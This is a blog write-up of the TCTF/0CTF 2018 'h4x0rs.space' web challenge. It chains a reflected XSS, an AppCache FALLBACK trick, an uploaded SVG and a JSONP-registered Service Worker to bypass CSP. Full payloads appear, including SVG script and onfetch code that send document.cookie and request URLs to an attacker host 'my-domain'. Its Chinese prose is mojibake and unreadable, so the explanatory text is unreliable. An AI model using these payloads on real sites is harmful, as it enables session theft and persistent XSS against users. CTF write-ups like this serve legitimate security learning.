LoRexxar's Blog

TCTF/0CTF2018 h4x0rs.space Writeup

2018/04/17

TCTF/0CTF涓殑鍘嬭酱棰樼洰锛屾湰鏉ュ彲浠ュ湪棰樼洰杩樺湪鐨勬椂鍊欑爺绌剁殑锛屾棤濂堝張鍥犱负寮虹綉鏉殑浜嬫儏鍙堟嫋浜嗗ソ鍑犲ぉ锛屼粖澶╂墠鏁寸悊鍑烘潵锛屾暣涓鐩殑鍒╃敤鎬濊矾閮芥槸杩戝嚑骞存墠琚汉浠彁鍑烘潵鐨勶紝杩欐姣旇禌鎴戜篃鏄涓娆¢亣鍒扮幆澧冿紝鍏朵腑鍏充簬Appcache浠ュ強Service Worker鐨勫埄鐢ㄦ柟寮忛潪甯告湁瓒o紝鑳藉湪鐗规畩鐜涓嬭捣鍒版剰鎯充笉鍒扮殑浣滅敤銆

涓嬮潰鐨刉riteup涓昏鏉ヨ嚜浜

https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

h4x0rs.space

棰樼洰鍒嗘瀽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
I've made a blog platform let you write your secret.
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?
Get document. cookie of the admin.
h4x0rs.space
Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL
Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.
Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.
Last Hint: CACHE

鍏堢畝鍗曡涓涓嬫暣涓鐩昏緫

1銆佺珯鍐呮槸涓涓敓鎴愭枃绔犵殑缃戠珯锛屽彲浠ヨ緭鍏itle锛宑ontent锛岀劧鍚庡彲浠ヤ笂浼犲浘鐗囷紝鍊煎緱娉ㄦ剰鐨勬槸锛岃繖閲岀殑鎵鏈夎緭鍏ラ兘浼氳杞箟锛岀敓鎴愮殑鏂囩珷鍐呭涓嶅瓨鍦▁ss鐐广

2銆佺珯鍐呭紑鍚疌SP锛岃屼笖鏄瘮杈冧弗鏍肩殑nonce CSP

1
2
Content-Security-Policy:
default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;

3銆佹枃绔犲唴寮曞叆浜嗙被浼肩煭鏍囩鐨勬柟寮忓彲浠ユ彃鍏ラ儴鍒嗘爣绛撅紝渚嬪[img]test[/img]

鍊煎緱娉ㄦ剰鐨勬槸杩欓噷鏈変竴涓壒渚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case 'instagram':
var dummy = document.createElement('div');
dummy.innerHTML = `<iframe width="0" height="0" src="" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>`; // dummy object since f.frameborder=0 doesn't work.
var f = dummy.firstElementChild;
var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';
if(e['name'] == 'youtube'){
f.width = 500;
f.height = 330;
f.src = base+'?embed='+found[1]+'&p=youtube';
} else if(e['name'] == 'instagram') {
f.width = 350;
f.height = 420;
f.src = base+'?embed='+found[1]+'&p=instagram';
}
var d_iframe = document.createElement('div');
d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.
iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html */ );
o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );
break;

濡傛灉鎻掑叆[ig]123[/ig]灏变細琚浆涓哄紩鍏https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram鐨刬frame銆

鍊煎緱娉ㄦ剰鐨勬槸锛宔mbed.php涓殑embed杩欓噷瀛樺湪鍙嶅皠鎬ss鐐癸紝鍙闂悎娉ㄩ噴灏卞彲浠ユ彃鍏ユ爣绛撅紝閬楁喚鐨勬槸杩欓噷浠嶇劧浼氳CSP闄愬埗銆

1
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--><script>alert()</script>&p=instagram

4銆佺珯鍐呮湁涓涓猨sonp鐨勬帴鍙o紝浣嗕笉鑳戒紶灏栨嫭鍙凤紝鍚庨潰鐨勬枃绔犲唴瀹逛粈涔堢殑涔熸病鍔炴硶閫冮稿弻寮曞彿銆

1
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

5銆佸浘鐗囦笂浼犵殑鎺ュ彛鍙互涓婁紶SVG锛屽浘鐗囧湪绔欏唴鍚屾簮锛屽苟涓斾笉鍙楀埌CSP鐨勯檺鍒讹紝鎴戜滑鍙互鍦⊿VG涓墽琛宩s浠g爜锛屾潵缁曡繃CSP锛岃岄噸鐐瑰氨鏄紝鎴戜滑鍙兘鎻愪氦blog id锛屾垜浠渶瑕佹壘鍒颁竴涓姙娉曟潵璁╁畠鎵ц銆

AppCache 鐨勫埄鐢

鍦ㄦ彁绀轰腑锛屾垜浠緢鏄庢樉鍙互鐪嬪埌cache杩欎釜鎻愮ず锛岃繖閲岀殑鎻愮ず鍏跺疄鏄锛屽埄鐢╝ppcache鏉ュ姞杞絪vg鐨勬柟寮忋

鍦ㄨ繖涔嬪墠锛屾垜浠彲鑳介渶瑕佷簡瑙d竴涓嬩粈涔堟槸Appcache銆傚叿浣撳彲浠ョ湅杩欑瘒鏂囩珷銆

https://www.html5rocks.com/en/tutorials/appcache/beginner/

杩欐槸涓绉嶅湪鏁板勾鍓嶉殢H5璇炵敓鐨勪竴绉嶅彲浠ヨ寮鍙戜汉鍛樻寚瀹氭祻瑙堝櫒缂撳瓨鍝簺鏂囦欢浠ヤ緵绂荤嚎璁块棶锛屽湪缂撳瓨鎯呭喌涓嬶紝鍗充娇鐢ㄦ埛鍦ㄧ绾跨姸鎬佸埛鏂伴〉闈篃鍚屾牱涓嶄細褰卞搷璁块棶銆

Appcache鐨勫紑鍚柟娉曟槸鍦╤tml鏍囩涓嬫坊鍔爉anifest灞炴

1
2
3
<html manifest="example.appcache">
...
</html>

杩欓噷鐨example.appcache鍙互鏄浉瀵硅矾寰勪篃鍙互鏄粷瀵硅矾寰勶紝娓呭崟鏂囦欢鐨勭粨鏋勫ぇ鑷村涓嬶細

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
CACHE MANIFEST
# 2010-06-18:v2
# Explicitly cached 'master entries'.
CACHE:
/favicon.ico
index.html
stylesheet.css
images/logo.png
scripts/main.js
# Resources that require the user to be online.
NETWORK:
login.php
/myapi
http://api.twitter.com
# static.html will be served if main.py is inaccessible
# offline.jpg will be served in place of all images in images/large/
# offline.html will be served in place of all other .html files
FALLBACK:
/main.py /static.html
images/large/ images/offline.jpg
*.html /offline.html

CACHE锛
杩欐槸鏉$洰鐨勯粯璁ら儴鍒嗐傜郴缁熶細鍦ㄩ娆′笅杞芥鏍囧ご涓嬪垪鍑虹殑鏂囦欢锛堟垨绱ц窡鍦 CACHE MANIFEST 鍚庣殑鏂囦欢锛夊悗鏄惧紡缂撳瓨杩欎簺鏂囦欢銆

NETWORK锛
姝ら儴鍒嗕笅鍒楀嚭鐨勬枃浠舵槸闇瑕佽繛鎺ュ埌鏈嶅姟鍣ㄧ殑鐧藉悕鍗曡祫婧愩傛棤璁虹敤鎴锋槸鍚﹀浜庣绾跨姸鎬侊紝瀵硅繖浜涜祫婧愮殑鎵鏈夎姹傞兘浼氱粫杩囩紦瀛樸傚彲浣跨敤閫氶厤绗︺

FALLBACK锛
姝ら儴鍒嗘槸鍙夌殑锛岀敤浜庢寚瀹氭棤娉曡闂祫婧愭椂鐨勫悗澶囩綉椤点傚叾涓涓涓 URI 浠h〃璧勬簮锛岀浜屼釜浠h〃鍚庡缃戦〉銆備袱涓 URI 蹇呴』鐩稿叧锛屽苟涓斿繀椤讳笌娓呭崟鏂囦欢鍚屾簮銆傚彲浣跨敤閫氶厤绗︺

杩欓噷鏈変竴鐐瑰効寰堥噸瑕侊紝鍏充簬Appcache锛鎮ㄥ繀椤讳慨鏀规竻鍗曟枃浠舵湰韬墠鑳借娴忚鍣ㄥ埛鏂扮紦瀛樻枃浠

鍘诲勾@filedescriptor鍏紑浜嗕竴涓埄鐢ˋppache鏉ユ敾鍑绘矙绠卞煙鐨勬柟娉曘

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

杩欓噷姝f槸浣跨敤浜咥ppcache鐨凢ALLBACK鏂囦欢锛屾垜浠彲浠ラ氳繃涓婁紶鎭舵剰鐨剆vg鏂囦欢锛屽舰浼

1
2
3
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch(`https://my-domain/?${document.cookie}`)</script>
</svg>

鐒跺悗灏唌anifest璁剧疆涓虹浉瀵圭洰褰曠殑svg鏂囦欢璺緞锛屽舰浼

1
2
3
4
<!-- DEBUG
embed_id: --><html manifest=/blog/untrusted_files/[SVG_MANIFEST].svg>
-->
...

鍦ㄨ繖绉嶆儏鍐典笅锛屽鏋滄垜浠兘瑙﹀彂椤甸潰500锛岄偅涔堥〉闈㈠氨浼氳烦杞嚦FALLBACK鎸囧畾椤甸潰锛屾垜浠垚鍔熷紩鍏ヤ簡涓涓换鎰忔枃浠惰烦杞

绱ф帴鐫锛屾垜浠渶瑕侀氳繃寮曞叆[ig]a#[/ig]锛岄氳繃鎷兼帴url鐨勬柟寮忥紝杩欓噷鐨#浼氫娇鍚庨潰鐨&instagram鏃犳晥锛屼娇椤甸潰杩斿洖500閿欒锛岀紦瀛樺氨浼氬皢鍏跺紩鍚慒ALLBACK璁剧疆椤甸潰銆

杩欓噷鐨刾ayload褰技

1
2
3
4
5
6
7
8
9
10
11
12
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

杩欓噷涔嬫墍浠ヤ細寮曞叆澶氫釜a#鏄洜涓虹紦瀛樹腑FALLBACK鐨勫姞杞芥椂闂村彲鑳芥參浜庡崟涓猧frame鐨勫姞杞芥椂闂达紝鎵浠ラ渶瑕佸紩鍏ュ涓紝淇濊瘉FALLBACK鐨勭敓鏁堛

鏈鍚庡彂閫佹枃绔爄d鍒板悗鍙帮紝娴忚鍣ㄨ闂枃绔犲垯浼氳Е鍙戜笅闈㈢殑娴佺▼銆

涓婇潰鐨勬枃绔犱細杞寲涓

1
2
3
4
5
6
<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
...

涓婇潰鐨刬frame鏍囩浼氬紩鍏ユ垜浠彁鍓嶄笂浼犲ソ鐨刴anfiest鏂囦欢

1
2
3
4
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

锛屽苟灏咶ALLBACK璁剧疆涓/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

鐒跺悗涓嬮潰鐨刬frame鏍囩浼氳闂/blog/untrusted_files/embed/embed.php?embed=a骞跺缃500閿欒锛岃烦杞负鎻愬墠璁剧疆濂界殑svg椤甸潰锛屾垚鍔熼冮窩SP銆

褰撴垜浠涓娆¤鍙栧埌document.cookie鏃讹紝杩斿洖涓

1
OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)

澶ц嚧鎰忔濇槸璇达紝bot浼氬湪5绉掑悗璁块棶flag椤甸潰锛屾垜浠渶瑕佽幏鍙栬繖涓猧d銆

Service Worker鐨勫埄鐢

浠旂粏鍥為【绔欏唴鐨勫姛鑳斤紝鏍规嵁鍑洪浜虹殑鎰忔濓紝杩欓噷浼氳烦杞埌褰技https://h4x0rs.space/blog/[blog_post_id]鐨剈rl锛岄氳繃Appcache鎴戜滑鍙兘鎺у埗/blog/untrusted_files/杩欎釜鐩綍涓嬬殑缂撳瓨锛岃繖閲屾垜浠渶瑕佹帶鍒跺埌鍙︿竴涓夐」鍗$殑鐘舵併

鍦ㄤ笉鍏锋湁绐楀彛寮曠敤鍔炴硶鐨勬儏鍐典笅锛岃繖閲屽彧鏈変娇鐢⊿ervice Worker鏉ュ仛鎸佷箙鍖栧埄鐢ㄣ

鍏充簬Service Worker蹇界劧鍙戠幇浠ュ墠寰堝浜烘彁鍒拌繃锛屼絾濂藉儚涓鐩撮兘娌℃湁琚噸瑙嗚繃銆傝繖绉嶄竴绉嶇敤鏉ユ浛浠ppcache鐨勭绾跨紦瀛樻満鍒讹紝浠栨槸鍩轰簬Web Worker鐨勪簨浠堕┍鍔ㄧ殑锛屼粬鐨勬墽琛屾満鍒堕兘鏄氳繃鏂板惎鍔ㄧ嚎绋嬭В鍐筹紝姣旇捣Appcache鏉ヨ锛屽畠鍙互閽堝鍚屽煙涓嬬殑鏁寸珯鐢熸晥锛岃屼笖鎸佺画淇濆瓨鑷虫祻瑙堝櫒閲嶅惎閮藉彲浠ラ噸鐢ㄣ

涓嬮潰鏄袱绡囧叧浜巗ervice worker鐨勬枃妗o細

https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

https://www.w3.org/TR/service-workers/

浣跨敤Service Worker鏈変袱涓潯浠讹細

1銆丼ervice Worker鍙敓鏁堜簬https://鎴栬http://localhost/
2銆佸叾娆′綘闇瑕佹祻瑙堝櫒鏀寔锛岀幇鍦ㄥ苟涓嶆槸鎵鏈夌殑娴忚鍣ㄩ兘鏀寔Service Worker銆

褰撴垜浠弧瓒充笂杩版潯浠讹紝骞朵笖鏈変竴涓獂ss鍒╃敤鐐规椂锛屾垜浠彲浠ュ皾璇曟瀯閫犱竴涓寔涔呭寲xss鍒╃敤鐐癸紝浣嗗湪鍒╃敤涔嬪墠锛屾垜浠渶瑕佹洿澶氭潯浠躲

1銆佸鏋滄垜浠娇鐢navigator.serviceWorker.register鏉ユ敞鍐宩s锛岄偅涔堣繖閲岃姹傜殑url蹇呴』鍚屾簮鑰屼笖璇锋眰鏂囦欢杩斿洖澶村繀椤讳负text/javascript, application/x-javascript, application/javascript涓殑涓绉嶃

2銆佸亣璁剧珯鍐呬娇鐢╫nfetch鎺ュ彛鑾峰彇鍐呭锛屾垜浠彲浠ラ氳繃hookfetch鎺ュ彛锛屾帶鍒惰繑鍥炴潵瑙﹀彂鎸佷箙鍖栨帶鍒躲

瀵逛簬绗竴绉嶆儏鍐垫潵璇达紝鎴栬鎴戜滑寰堥毦鎵惧埌涓婁紶js鐨勬帴鍙o紝浣嗕笉骞哥殑鏄紝jsonp鎺ュ彛鍒氬ソ绗﹀悎杩欐牱鐨勬墍鏈夋潯浠秪~

鍏蜂綋鐨勫埄鐢ㄦ柟寮忔垜浼氶澶栧湪鍐欐枃鍒嗘瀽杩欎釜锛岃鎯呭彲浠ョ湅杩欏嚑绡囨枃绔:

http://drops.xmd5.com/static/drops/web-10798.html

https://paper.seebug.org/177/

https://speakerdeck.com/masatokinugawa/pwa-study-sw

鏈鍚庣殑杩欎釜ppt鏈璇︾粏锛屼絾浠栨槸鏃ヨ鐨勶紝璇昏捣鏉ラ潪甯稿悆鍔涖

杩欓噷鍥炲埌棰樼洰锛屾垜浠彲浠ユ敞鎰忓埌绔欏唴鍒氬ソ鏈変竴涓猨sonp鎺ュ彛

1
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

鍊煎緱娉ㄦ剰鐨勬槸锛岃繖閲岀殑callback鎺ュ彛鏈夊瓧鏁伴檺鍒讹紝杩欓噷鍙互閫氳繃鍜宼itle鐨勯厤鍚堬紝閫氳繃娉ㄩ噴鏉ュ紩鍏ヤ换浣曟垜浠兂瑕佺殑瀛楃涓层

1
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

杩欓噷闇瑕佹敞鎰忕殑鏄紝鍦╯erviceWorker绾跨▼涓紝鎴戜滑骞朵笉鑳借幏鍙栨墍鏈夌殑瀵硅薄锛屾墍浠ヨ繖閲岀洿鎺ヨ幏鍙栧綋鍓嶈姹傜殑url銆

瀹屾暣鐨勫埄鐢ㄩ摼濡備笅锛

1銆佸皢*/onfetch=e=>{fetch(https://my-domain/?${e.request.url}`)}//`鍐欏叆鏂囩珷鍐咃紝骞朵繚鐣欎笅鏂囩珷id銆

2銆佹瀯閫爅sonp鎺ュ彛https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

1
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

3銆佷笂浼爏vg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

1
2
3
<svg xmlns="http://www.w3.org/2000/svg">
<script>navigator.serviceWorker.register('/blog/pad.php?callback=/*&amp;id={sw_post_id}')</script>
</svg>

4銆佹瀯閫爉anifest鏂囦欢,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

1
2
3
4
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg

5銆佹瀯閫爀mbed椤甸潰url

1
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube

6銆佹渶鍚庢瀯閫犲埄鐢ㄦ枃绔犲唴瀹

1
2
3
4
5
6
7
8
9
10
11
12
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

7銆佸彂閫乸ost id鍗冲彲

ref

CATALOG
  1. 1. h4x0rs.space
    1. 1.1. 棰樼洰鍒嗘瀽
    2. 1.2. AppCache 鐨勫埄鐢
    3. 1.3. Service Worker鐨勫埄鐢
    4. 1.4. ref